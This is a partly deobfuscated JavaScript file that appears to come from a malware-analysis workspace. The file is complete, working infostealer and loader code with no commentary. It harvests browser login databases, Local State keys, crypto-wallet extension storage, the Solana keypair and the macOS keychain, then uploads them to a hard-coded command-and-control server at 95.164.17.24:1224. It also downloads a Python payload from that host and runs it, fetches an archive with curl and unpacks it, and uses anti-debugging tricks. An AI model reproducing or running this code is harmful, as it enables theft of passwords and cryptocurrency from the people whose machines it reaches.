240822-CryptoVirus/workspace/107_unobf.js

1141 lines
26 KiB
JavaScript

(function (_0x46455a, _0x2178e4) {
const _0x5d5e96 = _0x46455a();
while (true) {
try {
const _0x430f43 =
(parseInt(_0xf45d(209, -0xff)) / 1) *
(-parseInt(_0xf45d(307, -0x9c)) / 2) +
(parseInt(_0xf45d(170, -0x1a8)) / 3) *
(-parseInt(_0xf45d(465, "0x83")) / 4) +
(-parseInt(_0xf45d(235, -0x13a)) / 5) *
(parseInt(_0xf45d(230, 0x82)) / 6) +
(parseInt(_0xf45d(482, 0x1d3)) / 7) *
(parseInt(_0xf45d(372, 0x264)) / 8) +
(parseInt(_0xf45d(494, "0x240")) / 9) *
(-parseInt(_0xf45d(150, "0x125")) / 10) +
(parseInt(_0xf45d(303, "0xf1")) / 11) *
(-parseInt(_0xf45d(347, -0x7a)) / 12) +
(-parseInt(_0xf45d(530, "0x2b5")) / 13) *
(-parseInt(_0xf45d(192, -0x144)) / 14);
if (_0x430f43 === _0x2178e4) {
break;
} else {
_0x5d5e96.push(_0x5d5e96.shift());
}
} catch (_0x1c1121) {
_0x5d5e96.push(_0x5d5e96.shift());
}
}
})(_0x376e, 247357);
const _0x3e1741 = (function () {
let _0x5a86ea = true;
return function (_0x2990fb, _0x5181e7) {
const _0x2d7f60 = _0x5a86ea
? function () {
if (_0x5181e7) {
const _0x59a1ef = _0x5181e7.apply(_0x2990fb, arguments);
_0x5181e7 = null;
return _0x59a1ef;
}
}
: function () {};
_0x5a86ea = false;
return _0x2d7f60;
};
})();
const _0x1975ec = _0x3e1741(this, function () {
return _0x1975ec
.toString()
.search("(((.+)+)+)+$")
.toString()
.constructor(_0x1975ec)
.search("(((.+)+)+)+$");
});
_0x1975ec();
(function () {
const _0x5f453c = function () {
let _0x5741d5;
try {
_0x5741d5 = Function(
'return (function() {}.constructor("return this")( ));'
)();
} catch (_0x26a343) {
_0x5741d5 = window;
}
return _0x5741d5;
};
const _0x4b911e = _0x5f453c();
_0x4b911e.setInterval(_0x1b0c36, 4000);
})();
const _0x4b7a68 = (function () {
let _0x3a7e66 = true;
return function (_0x46f524, _0x3878df) {
const _0x37f2d0 = _0x3a7e66
? function () {
if (_0x3878df) {
const _0x1db731 = _0x3878df.apply(_0x46f524, arguments);
_0x3878df = null;
return _0x1db731;
}
}
: function () {};
_0x3a7e66 = false;
return _0x37f2d0;
};
})();
(function () {
_0x4b7a68(this, function () {
const _0x13567f = new RegExp("function *\\( *\\)");
const _0x2632dc = new RegExp("\\+\\+ *(?:[a-zA-Z_$][0-9a-zA-Z_$]*)", "i");
const _0x1ac76e = _0x1b0c36("init");
if (
!_0x13567f.test(_0x1ac76e + "chain") ||
!_0x2632dc.test(_0x1ac76e + "input")
) {
_0x1ac76e("0");
} else {
_0x1b0c36();
}
})();
})();
function _0xbde6a3(_0x390493, _0x16d2cd, _0x375288, _0x15ff75, _0x3ac02e) {
return _0xf45d(_0x390493 - "0x33e", _0x375288);
}
const _0x57834a = (function () {
let _0x56adba = true;
return function (_0x2c2e35, _0x5407d3) {
const _0x582da6 = _0x56adba
? function () {
if (_0x5407d3) {
const _0x333944 = _0x5407d3.apply(_0x2c2e35, arguments);
_0x5407d3 = null;
return _0x333944;
}
}
: function () {};
_0x56adba = false;
return _0x582da6;
};
})();
const _0x26d8be = _0x57834a(this, function () {
let _0x67b20a;
try {
const _0x56cfa1 = Function(
'return (function() {}.constructor("return this")( ));'
);
_0x67b20a = _0x56cfa1();
} catch (_0x53426f) {
_0x67b20a = window;
}
const _0x1476e9 = (_0x67b20a.console = _0x67b20a.console || {});
const _0x59a92c = [
"log",
"warn",
"info",
"error",
"exception",
"table",
"trace",
];
for (let _0x4fe266 = 0; _0x4fe266 < _0x59a92c.length; _0x4fe266++) {
const _0xb98509 = _0x57834a.constructor.prototype.bind(_0x57834a);
const _0x2c5d3f = _0x59a92c[_0x4fe266];
const _0x1d34fa = _0x1476e9[_0x2c5d3f] || _0xb98509;
_0xb98509.__proto__ = _0x57834a.bind(_0x57834a);
_0xb98509.toString = _0x1d34fa.toString.bind(_0x1d34fa);
_0x1476e9[_0x2c5d3f] = _0xb98509;
}
});
function _0x376e() {
const _0x3124d5 = [
"dNPUt",
"retur",
"e/Chr",
"oihof",
"Defau",
"Micro",
")+)+)",
"serhp",
"ector",
"omihk",
"lengt",
"era",
"rowse",
"pebkl",
"/Logi",
"oamin",
"ARPko",
"SenmZ",
"const",
"pndod",
"/pdow",
"multi",
"nmhnf",
"homed",
"ata/R",
"Brows",
"ain",
"bbldc",
"Roami",
"715kPYBdw",
"sUjFw",
"aeaoe",
"opera",
"3970JrZtEG",
"bind",
"solan",
"ase",
"/clie",
"nctio",
"/uplo",
"wSgTU",
"cionb",
"g/Moz",
"ejbal",
"ccfch",
"TPRUs",
"call",
"tar -",
'-Lo "',
"creat",
"omjjk",
"n (fu",
"keych",
"Googl",
"l Sta",
"ensio",
"KMQAk",
"XKaME",
"TxinI",
"txt",
"ort/B",
"irSyn",
"ibnej",
"ins/l",
"fig/s",
"lNqeV",
"hifaf",
"searc",
"write",
"son",
"uOSAI",
"ocal/",
"init",
"69600iTLTFR",
"platf",
"fhboh",
"type",
"pNlYh",
"onoee",
"/Brav",
"size",
"ort/",
"efaul",
"GrNCE",
"yonQC",
"strin",
"objGW",
"ary/A",
"e) {}",
"REJLn",
"vdsEE",
"imael",
"des",
"raveS",
"/stor",
"ZrdNb",
"/Libr",
"aeach",
"16ZCSCxz",
"eycha",
"XoPWS",
"XoJSy",
"kvfyB",
"soft/",
"mnkoe",
"actio",
"getTi",
"e-chr",
"formD",
"Cbkgd",
"107",
"acmac",
"Local",
"count",
"state",
"while",
"wpeeZ",
"hid",
"join",
"lmeee",
"fgpgk",
"ser",
"OTGkn",
"xf ",
"ion *",
"excep",
"vmZuC",
"PsbVS",
"error",
"trace",
"ajnim",
"-db",
"ing",
"YbglG",
"icIlC",
"warn",
"isDir",
"\\( *\\",
"qdoAK",
"Objec",
"http:",
"qrPcR",
"DskER",
"Gaoia",
"fbeog",
"terva",
"Woijz",
"child",
"pjiig",
"gger",
'is")(',
"gpafn",
"aOrSQ",
"repla",
"post",
"table",
"Yypfq",
"zA-Z_",
"ess",
"(((.+",
"eMFTh",
"moz-e",
"illa/",
"imhlp",
"kkolj",
"debu",
"orm",
"bohpj",
"fdial",
"age/d",
"push",
"HUAIR",
"rave-",
"HEeiX",
"164.1",
"reque",
"a_id.",
"\\p.zi",
"ort/G",
"ImoEI",
"\\.pyp",
"ile",
"jgjfh",
"wQGsn",
"statS",
"QjQwP",
"ng/Op",
"phepc",
"myQXh",
"nQMfz",
"pplic",
"664828ANTVDe",
"ync",
"*(?:[",
"Brave",
"knocf",
"IRCew",
"oftwa",
"-rele",
"are/B",
"rome",
"acces",
"ogin.",
"gUzqy",
"brld_",
"hlefn",
"RBdaY",
"WaRaw",
"1081997baLWHD",
"/Loca",
"log",
"nkdna",
"/id.j",
" Data",
"{}.co",
"input",
"n() ",
"_lst",
"-Brow",
"to__",
"3394107XkMrsm",
"knmef",
"lmome",
"rn th",
"get",
"bakop",
"test",
"era S",
"jblnd",
"gkAHL",
"pld_",
"chain",
"/Goog",
"ngcna",
"mdjon",
"pekpl",
"wpzsy",
"Profi",
" -C ",
"$]*)",
"uts",
"//95.",
"ox/Pr",
"__pro",
"le/Ch",
"/User",
"setIn",
"/ld_",
"info",
"conso",
"lchlg",
"eSoft",
"VZWdV",
"TNkks",
"com.o",
"ata/",
"897507fdmaWy",
"dfjmm",
".file",
"curl ",
"bfnae",
"1224",
"ame",
"readd",
"round",
"ofile",
"googl",
"tmpdi",
"funct",
"peras",
"/Chro",
"proto",
"hfood",
"eSync",
"dgcij",
"n Dat",
"_file",
"re/Op",
"iyTWM",
"nlSGI",
"jbmgj",
"renam",
"sSync",
"nt/",
"ome",
"10vAukAy",
"Data",
"eRead",
"ldhgm",
"tion",
'"retu',
"pJwQD",
"copyF",
"exist",
"_proc",
"WpRMK",
"Z_$][",
"\\p2.z",
"kodbe",
"/AppD",
"olana",
"CGUsd",
"n Set",
"uCawv",
"Sekaw",
"6GWWQlM",
"_uld",
"forEa",
"apply",
"a-zA-",
"eebol",
"ion",
"BdmpN",
"re/Br",
"exec",
"nstru",
"JuBjW",
"Edge/",
" (tru",
".log",
"ctor(",
"ructo",
"gmccd",
"logkc",
"Softw",
"/.npl",
"apagc",
"294BmQHmI",
"ata",
"RKUlJ",
'e" "',
"\\+\\+ ",
"SSYJb",
"User ",
"wbgmD",
"ophhp",
"aholp",
"\\pyth",
'" "',
"url",
"l Ext",
"rmSyn",
"EZcGn",
"/.con",
"174GoaqDx",
"nhcel",
"Strea",
"fig/",
"WYyxg",
"xtens",
"ilkdb",
"Pngdh",
"re.Op",
"idlcd",
"kpcnl",
"BtfDx",
"Firef",
"cfgod",
"hecda",
"dlcob",
"oohck",
"VeTVF",
".ldb",
"pikoo",
"ary/K",
"1362ZvBbjX",
"ata/L",
"fbcKh",
"0-9a-",
"idb",
"1755hQjJvv",
"behhm",
'n3 "',
"lipeo",
"eofbd",
"7.24:",
"ware/",
"IrOgM",
"oogle",
"DBxvH",
"tings",
"nKcQN",
" Supp",
"ation",
"xtpFo",
"ads",
"hnfan",
"dgmol",
"inclu",
"wbAPN",
"qGiqk",
"path",
"wAwgw",
"FileS",
"filen",
"pytho",
"on.ex",
"nkbih",
"nCgFW",
"ZQYUz",
"bohma",
"hostn",
"le ",
"mgjnj",
"toStr",
"ave-B",
"VdJNi",
"odkjb",
"dirna",
];
_0x376e = function () {
return _0x3124d5;
};
return _0x376e();
}
function _0x3a630f(_0x72da6d, _0x3f8554, _0x831089, _0x4996b3, _0x14affb) {
return _0xf45d(_0x14affb + 0xe4, _0x831089);
}
function _0x177682(_0x4ae85c, _0x464f01, _0x42a67d, _0x59df62, _0x35a5db) {
return _0xf45d(_0x42a67d - "0x1e6", _0x464f01);
}
_0x26d8be();
function _0x14fb23(_0x46709c, _0x7def4e, _0x264691, _0x5d7880, _0x8fc107) {
return _0xf45d(_0x7def4e - 0x46, _0x5d7880);
}
const _0x4b5304 = require("fs");
const _0x7c34aa = require("os");
const _0xc381df = require("path");
const _0x2ea472 = require("request");
const _0x34e49a = require("child_process").exec;
const _0x16c131 = _0x7c34aa.hostname();
const _0x2a53fe = _0x7c34aa.platform();
const _0x2a6e28 = _0x7c34aa.homedir();
const _0x3a2b9a = _0x7c34aa.tmpdir();
const _0x2a7c2a = (_0x3acfdf) =>
_0x3acfdf.replace(/^~([a-z]+|\/)/, (_0x385c2b, _0x103aa2) =>
"/" === _0x103aa2
? _0x2a6e28
: _0xc381df.dirname(_0x2a6e28) + "/" + _0x103aa2
);
function _0x4ca818(_0x520619) {
try {
_0x4b5304.accessSync(_0x520619);
return true;
} catch (_0x3bac29) {
return false;
}
}
const _0x5637ea = [
"Local/BraveSoftware/Brave-Browser",
"BraveSoftware/Brave-Browser",
"BraveSoftware/Brave-Browser",
];
const _0x45e1ab = ["Local/Google/Chrome", "Google/Chrome", "google-chrome"];
const _0x781139 = [
"Roaming/Opera Software/Opera Stable",
"com.operasoftware.Opera",
"opera",
];
const _0x7e87a9 = [
"nkbihfbeogaeaoehlefnkodbefgpgknn",
"ejbalbakoplchlghecdalmeeeajnimhm",
"fhbohimaelbohpjbbldcngcnapndodjp",
"hnfanknocfeofbddgcijnmhnfnkdnaad",
"ibnejdfjmmkpcnlpebklmnkoeoihofec",
"bfnaelmomeimhlpmgjnjophhpkkoljpa",
"aeachknmefphepccionboohckonoeemg",
"hifafgmccdpekplomjjkcfgodnhcellj",
"jblndlipeogpafnldhgmapagcccfchpi",
"acmacodkjbdgmoleebolmdjonilkdbch",
"dlcobpjiigpikoobohmabehhmhfoodbb",
"aholpfdialjgjfhomihkjbmgjidlcdno",
];
const _0x27e381 = async (_0x170be7, _0x9aa883, _0x508b7d, _0xf2f2a0) => {
let _0x3c4dd4;
if (!_0x170be7 || "" === _0x170be7) {
return [];
}
try {
if (!_0x4ca818(_0x170be7)) {
return [];
}
} catch (_0x277916) {
return [];
}
if (!_0x9aa883) {
_0x9aa883 = "";
}
let _0x358278 = [];
for (let _0x82a781 = 0; _0x82a781 < 200; _0x82a781++) {
const _0x168dee =
_0x170be7 +
"/" +
(0 === _0x82a781 ? "Default" : "Profile " + _0x82a781) +
"/Local Extension Settings";
for (let _0x24ac59 = 0; _0x24ac59 < _0x7e87a9.length; _0x24ac59++) {
let _0xe88111 = _0x168dee + "/" + _0x7e87a9[_0x24ac59];
if (_0x4ca818(_0xe88111)) {
let _0x951268 = [];
try {
_0x951268 = _0x4b5304.readdirSync(_0xe88111);
} catch (_0x5df885) {
_0x951268 = [];
}
_0x951268.forEach(async (_0x1369c5) => {
let _0x2c7226 = _0xc381df.join(_0xe88111, _0x1369c5);
try {
const _0x4ab57d = {
filename:
"107_" +
_0x9aa883 +
_0x82a781 +
"_" +
_0x7e87a9[_0x24ac59] +
"_" +
_0x1369c5,
};
if (_0x2c7226.includes(".log") || _0x2c7226.includes(".ldb")) {
_0x358278.push({
value: _0x4b5304.createReadStream(_0x2c7226),
options: _0x4ab57d,
});
}
} catch (_0x27e801) {}
});
}
}
}
if (
_0x508b7d &&
((_0x3c4dd4 = _0x2a6e28 + "/.config/solana/id.json"),
_0x4b5304.existsSync(_0x3c4dd4))
) {
try {
const _0x56c323 = {
filename: "solana_id.txt",
};
_0x358278.push({
value: _0x4b5304.createReadStream(_0x3c4dd4),
options: _0x56c323,
});
} catch (_0x4f696e) {}
}
_0x43a6a5(_0x358278, _0xf2f2a0);
return _0x358278;
};
const _0xa7cb0c = (_0x238582) => {
const _0x105ee6 =
_0x2a7c2a("~/") + "/AppData/Roaming/Mozilla/Firefox/Profiles";
let _0x641b53 = [];
if (_0x4ca818(_0x105ee6)) {
let _0x269d54 = [];
try {
_0x269d54 = _0x4b5304.readdirSync(_0x105ee6);
} catch (_0x2c1b83) {
_0x269d54 = [];
}
let _0x408a47 = 0;
_0x269d54.forEach(async (_0x4c4c91) => {
let _0x5a86e9 = _0xc381df.join(_0x105ee6, _0x4c4c91);
if (_0x5a86e9.includes("-release")) {
let _0x3c5547 = _0xc381df.join(_0x5a86e9, "/storage/default");
let _0x5f3b11 = [];
_0x5f3b11 = _0x4b5304.readdirSync(_0x3c5547);
let _0x3b7493 = 0;
_0x5f3b11.forEach(async (_0x1a5927) => {
const _0x1f8dd9 = {
TNkks: "TxinI",
WaRaw: function (_0x4a6c01, _0x1def41) {
return _0x4a6c01 + _0x1def41;
},
};
_0x1f8dd9.SSYJb = function (_0x333fc2, _0x26755d) {
return _0x333fc2 < _0x26755d;
};
if (_0x1a5927.includes("moz-extension")) {
let _0x54aefc = _0xc381df.join(_0x3c5547, _0x1a5927);
_0x54aefc = _0xc381df.join(_0x54aefc, "idb");
let _0x11d12a = [];
_0x11d12a = _0x4b5304.readdirSync(_0x54aefc);
_0x11d12a.forEach(async (_0x28bf12) => {
if (_0x28bf12.includes(".files")) {
let _0x509925 = _0xc381df.join(_0x54aefc, _0x28bf12);
let _0x198e52 = [];
_0x198e52 = _0x4b5304.readdirSync(_0x509925);
_0x198e52.forEach((_0x38a92e) => {
if (
!_0x4b5304
.statSync(_0xc381df.join(_0x509925, _0x38a92e))
.isDirectory()
) {
let _0x1adfa3 = _0xc381df.join(_0x509925, _0x38a92e);
const _0x373822 = {
filename: _0x408a47 + "_" + _0x3b7493 + "_" + _0x38a92e,
};
_0x641b53.push({
value: _0x4b5304.createReadStream(_0x1adfa3),
options: _0x373822,
});
}
});
}
});
}
});
_0x3b7493 += 1;
}
_0x408a47 += 1;
});
_0x43a6a5(_0x641b53, _0x238582);
return _0x641b53;
}
};
const _0x43a6a5 = (_0x496284, _0x4a3c9f) => {
const _0x2fcb66 = {
type: "10",
hid: "107_" + _0x16c131,
uts: _0x4a3c9f,
multi_file: _0x496284,
};
try {
if (_0x496284.length > 0) {
const _0x5aa9c9 = {
url: "http://95.164.17.24:1224/uploads",
formData: _0x2fcb66,
};
_0x2ea472.post(_0x5aa9c9, (_0x1af40c, _0x4b9eec, _0x4f8be7) => {});
}
} catch (_0x499496) {}
};
const _0x2802cb = async (_0x3a5ea1, _0x46ed4e, _0x5c68e0) => {
try {
let _0x147e5b = "";
_0x147e5b =
"d" == _0x2a53fe[0]
? _0x2a7c2a("~/") + "/Library/Application Support/" + _0x3a5ea1[1]
: "l" == _0x2a53fe[0]
? _0x2a7c2a("~/") + "/.config/" + _0x3a5ea1[2]
: _0x2a7c2a("~/") + "/AppData/" + _0x3a5ea1[0] + "/User Data";
await _0x27e381(_0x147e5b, _0x46ed4e + "_", 0 == _0x46ed4e, _0x5c68e0);
} catch (_0x24c21d) {}
};
const _0x3f4386 = async (_0x4dddec) => {
let _0x4abc49 = [];
let _0x9e85aa = _0x2a6e28 + "/Library/Keychains/login.keychain";
if (_0x4b5304.existsSync(_0x9e85aa)) {
try {
const _0x4b57b6 = {
filename: "logkc-db",
};
_0x4abc49.push({
value: _0x4b5304.createReadStream(_0x9e85aa),
options: _0x4b57b6,
});
} catch (_0x32567f) {}
} else {
_0x9e85aa += "-db";
if (_0x4b5304.existsSync(_0x9e85aa)) {
try {
const _0x4c6ea6 = {
filename: "logkc-db",
};
_0x4abc49.push({
value: _0x4b5304.createReadStream(_0x9e85aa),
options: _0x4c6ea6,
});
} catch (_0x38f2ba) {}
}
}
try {
let _0xaf9d97 = _0x2a6e28 + "/Library/Application Support/Google/Chrome";
if (_0x4ca818(_0xaf9d97)) {
for (let _0xa3823f = 0; _0xa3823f < 200; _0xa3823f++) {
const _0x5b1961 =
_0xaf9d97 +
"/" +
(0 === _0xa3823f ? "Default" : "Profile " + _0xa3823f) +
"/Login Data";
try {
if (!_0x4ca818(_0x5b1961)) {
continue;
}
const _0xcc234d = _0xaf9d97 + "/ld_" + _0xa3823f;
const _0x3e8c95 = {
filename: "pld_" + _0xa3823f,
};
if (_0x4ca818(_0xcc234d)) {
_0x4abc49.push({
value: _0x4b5304.createReadStream(_0xcc234d),
options: _0x3e8c95,
});
} else {
_0x4b5304.copyFile(_0x5b1961, _0xcc234d, (_0x3da07b) => {
const _0x35883e = {
filename: "pld_" + _0xa3823f,
};
let _0x21db1b = [
{
value: _0x4b5304.createReadStream(_0x5b1961),
options: _0x35883e,
},
];
_0x43a6a5(_0x21db1b, _0x4dddec);
});
}
} catch (_0x1536f3) {}
}
}
} catch (_0x270dc0) {}
try {
let _0x27ee96 =
_0x2a6e28 + "/Library/Application Support/BraveSoftware/Brave-Browser";
if (_0x4ca818(_0x27ee96)) {
for (let _0x47d537 = 0; _0x47d537 < 200; _0x47d537++) {
const _0x544575 =
_0x27ee96 +
"/" +
(0 === _0x47d537 ? "Default" : "Profile " + _0x47d537);
try {
if (!_0x4ca818(_0x544575)) {
continue;
}
const _0x20655f = _0x544575 + "/Login Data";
const _0x208fe3 = {
filename: "brld_" + _0x47d537,
};
if (_0x4ca818(_0x20655f)) {
_0x4abc49.push({
value: _0x4b5304.createReadStream(_0x20655f),
options: _0x208fe3,
});
} else {
_0x4b5304.copyFile(_0x544575, _0x20655f, (_0x140978) => {
const _0x426339 = {
filename: "brld_" + _0x47d537,
};
let _0x5d5a6d = [
{
value: _0x4b5304.createReadStream(_0x544575),
options: _0x426339,
},
];
_0x43a6a5(_0x5d5a6d, _0x4dddec);
});
}
} catch (_0x4ab2e8) {}
}
}
} catch (_0x278941) {}
_0x43a6a5(_0x4abc49, _0x4dddec);
return _0x4abc49;
};
const _0x3ca7dc = async (_0xadace2, _0xcd9bd7, _0x53556c) => {
let _0x170665 = [];
let _0x39ab26 = "";
_0x39ab26 =
"d" == _0x2a53fe[0]
? _0x2a7c2a("~/") + "/Library/Application Support/" + _0xadace2[1]
: "l" == _0x2a53fe[0]
? _0x2a7c2a("~/") + "/.config/" + _0xadace2[2]
: _0x2a7c2a("~/") + "/AppData/" + _0xadace2[0] + "/User Data";
let _0x4c37a0 = _0x39ab26 + "/Local State";
if (_0x4b5304.existsSync(_0x4c37a0)) {
try {
const _0x5a9cb6 = {
filename: _0xcd9bd7 + "_lst",
};
_0x170665.push({
value: _0x4b5304.createReadStream(_0x4c37a0),
options: _0x5a9cb6,
});
} catch (_0x3f0a78) {}
}
try {
if (_0x4ca818(_0x39ab26)) {
for (let _0x535097 = 0; _0x535097 < 200; _0x535097++) {
const _0x17e23d =
_0x39ab26 +
"/" +
(0 === _0x535097 ? "Default" : "Profile " + _0x535097);
try {
if (!_0x4ca818(_0x17e23d)) {
continue;
}
const _0x576472 = _0x17e23d + "/Login Data";
if (!_0x4ca818(_0x576472)) {
continue;
}
const _0x1a78cd = {
filename: _0xcd9bd7 + "_" + _0x535097 + "_uld",
};
_0x170665.push({
value: _0x4b5304.createReadStream(_0x576472),
options: _0x1a78cd,
});
} catch (_0x2f6223) {}
}
}
} catch (_0xa299ed) {}
_0x43a6a5(_0x170665, _0x53556c);
return _0x170665;
};
let _0x3b2e6e = 0;
const _0xb484c4 = async (_0x454130) => {
_0x34e49a(
"tar -xf " + _0x454130 + " -C " + _0x2a6e28,
(_0x3eb4ba, _0x294351, _0x2caaa2) => {
if (_0x3eb4ba) {
_0x4b5304.rmSync(_0x454130);
return void (_0x3b2e6e = 0);
}
_0x4b5304.rmSync(_0x454130);
_0x3421fd();
}
);
};
const _0x1a6173 = () => {
const _0x4d9512 = _0x3a2b9a + "\\p.zi";
const _0x1b5897 = _0x3a2b9a + "\\p2.zip";
if (_0x3b2e6e >= 51476596) {
return;
}
if (_0x4b5304.existsSync(_0x4d9512)) {
try {
var _0x212f97 = _0x4b5304.statSync(_0x4d9512);
if (_0x212f97.size >= 51476596) {
_0x3b2e6e = _0x212f97.size;
_0x4b5304.rename(_0x4d9512, _0x1b5897, (_0x56506a) => {
if (_0x56506a) {
throw _0x56506a;
}
_0xb484c4(_0x1b5897);
});
} else {
if (_0x3b2e6e < _0x212f97.size) {
_0x3b2e6e = _0x212f97.size;
} else {
_0x4b5304.rmSync(_0x4d9512);
_0x3b2e6e = 0;
}
_0x457553();
}
} catch (_0x5e2842) {}
} else {
_0x34e49a(
'curl -Lo "' + _0x4d9512 + '" "' + "http://95.164.17.24:1224/pdown" + '"',
(_0x3393a9, _0x482631, _0x227a1b) => {
if (_0x3393a9) {
_0x3b2e6e = 0;
return void _0x457553();
}
try {
_0x3b2e6e = 51476596;
_0x4b5304.renameSync(_0x4d9512, _0x1b5897);
_0xb484c4(_0x1b5897);
} catch (_0x3f4378) {}
}
);
}
};
function _0x457553() {
setTimeout(() => {
_0x1a6173();
}, 20000);
}
const _0x3421fd = async () =>
await new Promise((_0x595f0e, _0x3cf387) => {
if ("w" == _0x2a53fe[0]) {
if (_0x4b5304.existsSync(_0x2a6e28 + "\\.pyp\\python.exe")) {
(() => {
const _0xebf0d9 = _0x2a6e28 + "/.npl";
const _0x49b574 =
'"' + _0x2a6e28 + '\\.pyp\\python.exe" "' + _0xebf0d9 + '"';
try {
_0x4b5304.rmSync(_0xebf0d9);
} catch (_0x44aa29) {}
_0x2ea472.get(
"http://95.164.17.24:1224/client/10/107",
(_0x5e284d, _0x4d7d41, _0xe2c09f) => {
if (!_0x5e284d) {
try {
_0x4b5304.writeFileSync(_0xebf0d9, _0xe2c09f);
_0x34e49a(_0x49b574, (_0x1a2d1b, _0x2970b1, _0x82db94) => {});
} catch (_0x36bf36) {}
}
}
);
})();
} else {
_0x1a6173();
}
} else {
(() => {
_0x2ea472.get(
"http://95.164.17.24:1224/client/10/107",
(_0x52911a, _0x5b973a, _0x2dc7ad) => {
if (!_0x52911a) {
_0x4b5304.writeFileSync(_0x2a6e28 + "/.npl", _0x2dc7ad);
_0x34e49a(
'python3 "' + _0x2a6e28 + '/.npl"',
(_0x389499, _0x456a07, _0x37a1d5) => {}
);
}
}
);
})();
}
});
var _0x58dc97 = 0;
function _0xf45d(_0x5a9385, _0x34c0c0) {
const _0x4ec01c = _0x376e();
_0xf45d = function (_0x4e7806, _0x38e6e2) {
_0x4e7806 = _0x4e7806 - 135;
let _0x1ce857 = _0x4ec01c[_0x4e7806];
return _0x1ce857;
};
return _0xf45d(_0x5a9385, _0x34c0c0);
}
function _0x98f926(_0x31b89e, _0x7483bb, _0x493cf5, _0x4575a8, _0x39db36) {
return _0xf45d(_0x39db36 + 0x387, _0x493cf5);
}
const _0x5ac950 = async () => {
try {
const _0x46bfb3 = Math.round(new Date().getTime() / 1000);
await (async () => {
try {
await _0x2802cb(_0x45e1ab, 0, _0x46bfb3);
await _0x2802cb(_0x5637ea, 1, _0x46bfb3);
await _0x2802cb(_0x781139, 2, _0x46bfb3);
_0xa7cb0c(_0x46bfb3);
if ("w" == _0x2a53fe[0]) {
await _0x27e381(
_0x2a7c2a("~/") + "/AppData/Local/Microsoft/Edge/User Data",
"3_",
false,
_0x46bfb3
);
}
if ("d" == _0x2a53fe[0]) {
await _0x3f4386(_0x46bfb3);
} else {
await _0x3ca7dc(_0x45e1ab, 0, _0x46bfb3);
await _0x3ca7dc(_0x5637ea, 1, _0x46bfb3);
await _0x3ca7dc(_0x781139, 2, _0x46bfb3);
}
} catch (_0x3e3d11) {}
})();
_0x3421fd();
} catch (_0x45e7b3) {}
};
_0x5ac950();
_0x3421fd();
let _0x132576 = setInterval(() => {
if ((_0x58dc97 += 1) < 5) {
_0x5ac950();
} else {
clearInterval(_0x132576);
}
}, 30000);
function _0x1b0c36(_0x504730) {
function _0x4dc17e(_0x41f20e) {
if (typeof _0x41f20e === "string") {
return function (_0x2c9b07) {}
.constructor("while (true) {}")
.apply("counter");
} else {
if (("" + _0x41f20e / _0x41f20e).length !== 1 || _0x41f20e % 20 === 0) {
(function () {
return true;
})
.constructor("debugger")
.call("action");
} else {
(function () {
return false;
})
.constructor("debugger")
.apply("stateObject");
}
}
_0x4dc17e(++_0x41f20e);
}
try {
if (_0x504730) {
return _0x4dc17e;
} else {
_0x4dc17e(0);
}
} catch (_0x54cf3d) {}
}